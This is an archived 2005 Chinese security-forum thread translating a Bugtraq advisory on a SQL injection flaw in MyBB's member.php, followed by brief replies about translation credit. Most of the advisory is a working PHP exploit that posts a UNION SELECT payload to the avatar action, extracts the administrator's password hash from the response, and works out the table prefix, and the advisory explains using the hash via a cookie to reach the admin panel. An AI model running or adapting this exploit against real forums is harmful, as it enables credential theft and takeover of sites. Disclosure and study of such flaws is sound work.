邪恶八进制信息安全团队技术讨论组's Archiver

hak_ban[HSG] 2005-1-7 01:39

[翻译]MyBB SQL注射漏洞

本文作者: 剑心[B.C.T]
文章出处: 原创翻译
阅读次数: 2
发布日期: 2005-1-6
漏洞内容:MyBB SQL注射漏洞
资料来源:[url]http://marc.theaimsgroup.com/?l=bugtraq&m=110486566600980&w=2[/url]
发布日期:2005-01-04 19:07:46
漏洞公告:<20050105005302.16771.qmail () www ! securityfocus ! com>
漏洞描述:
MyBB是一款用Php和Mysql开发的强大的免费论坛程序包.MyBB为你和你的用户设计,你可以方便地控制你的论坛,修改你论坛的样式和主题。
漏洞利用:
MyBB在member.php中的uid变量可能存在一个sql注射漏洞,可以被Union查询来攻击从而得到admin管理员的加密密码。通过修改对应的cookie来登陆后台控制面板。
漏洞证明:
<?php
// 以下的例子将攻击[url]http://www.example.com/mybb/[/url]
echo &#39;Pass:&#39; . get_pass(&#39;[url]www.example.com[/url]&#39;, &#39;/mybb&#39;, &#39;&#39;);

function get_pass($host, $path, $dbprefix) {
$query[] = &#39;uid=&#39; . urlencode ("1&#39; UNION SELECT 10000, 200, password AS type FROM \
{$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

$query = implode(&#39;&&#39;, $query);

$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);

$allah = &#39;&#39;;
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;
}
fclose($fp);

preg_match(&#39;/\: ([a-z0-9]{32})/i&#39;, $allah, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match(&#39;#FROM (\w+)avatars WHERE#i&#39;, $allah, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return &#39;Unable to obtain password&#39;;
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}

return $password;
}

?>

落叶树 2005-1-7 01:56

兄弟,翻译的版权也算原创.你辛苦了

hak_ban[HSG] 2005-1-7 03:01

[quote][b]下面是引用evilbogy于2005-01-07 01:56发表的:[/b]
兄弟,翻译的版权也算原创.你辛苦了[/quote]
希望不是贬义~~~哈哈哈翻译小组比较辛苦!!考试还要负责翻译

落叶树 2005-1-7 04:51

绝对不是贬义,是有法可依的.....hoho

我也刚完成了一篇主要是翻译的文章,累得要命.

页: [1]
© 1999-2008 EvilOctal Security Team